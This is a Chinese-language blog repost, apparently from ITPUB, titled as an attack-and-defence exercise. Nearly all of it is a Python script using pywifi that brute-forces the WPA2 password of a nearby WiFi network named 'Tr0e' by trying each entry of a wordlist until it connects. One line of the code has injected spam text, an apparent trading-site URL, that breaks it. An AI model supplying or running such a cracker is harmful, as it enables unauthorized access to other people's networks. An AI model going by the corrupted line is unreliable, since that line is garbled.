Python攻防-暴力破解附近區域網WIFI密碼

專注的阿熊發表於2022-04-28

import pywifi

from pywifi import const

import time

import datetime

# 測試連線,返回連結結果

def wifiConnect(pwd):

     # 抓取網路卡介面

     wifi = pywifi.PyWiFi()

     # 獲取第一個無線網路卡

     ifaces = wifi.interfaces()[0]

     # 斷開所有連線

     ifaces.disconnect()

     time.sleep(1)

     wifistatus = ifaces.status()

     if wifistatus == const.IFACE_DISCONNECTED:

         # 建立 WiFi 連線檔案

         profile = pywifi.Profile()

         # 要連線 WiFi 的名稱

         profile.ssid = "Tr0e"

         # 網路卡的開放狀態

         profile.auth = const.AUTH_ALG_OPEN

         # wifi 加密演算法 , 一般 wifi 加密演算法為 wps

         profile.akm.append(const.AKM_TYPE_WPA2PSK)

         # 加密單元

         profile.cipher = const.CIPHER_TYPE_CCMP

         # 呼叫密碼

         profile.key = pwd

         # 刪除所有連線過的 wifi 檔案

         ifaces.remove_all_network_profiles()

         # 設定新的連線檔案

         tep_profile = ifaces.add_network_profile(profile)

         ifaces.connect(tep_profile)

         # wifi 連線時間

         time.sleep(2)

         if ifaces.status() == const.IFACE_CONNECTED:

             return True

         else:

             return False

     else:

         print(" 已有 wifi 連線 ")

# 讀取密碼本

def readPassword():

     success = False

     print("****************** WIFI 破解 ******************")

     # 密碼本路徑

     path = "pwd.txt"

     # 開啟檔案

     file = open(path, "r")

     start = datetime.datetime.now()

     while True:

         try:

             pwd = file.readline()

             # 去除密碼的末尾換行符

             pwd = 外匯跟單gendan5.compwd.strip('\n')

             bool = wifiConnect(pwd)

             if bool:

                 print("[*] 密碼已破解: ", pwd)

                 print("[*] WiFi 已自動連線!!! ")

                 success = True

                 break

             else:

                 # 跳出當前迴圈,進行下一次迴圈

                 print(" 正在破解 SSID %s WIFI 密碼,當前校驗的密碼為: %s"%("Tr0e",pwd))

         except:

             continue

     end = datetime.datetime.now()

     if(success):

         print("[*] 本次破解 WIFI 密碼一共用了多長時間: {}".format(end - start))

     else:

         print("[*] 很遺憾未能幫你破解出當前指定 WIFI 的密碼,請更換密碼字典後重新嘗試! ")

     exit(0)

if __name__=="__main__":

     readPassword()

來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/69946337/viewspace-2889258/,如需轉載,請註明出處,否則將追究法律責任。

相關文章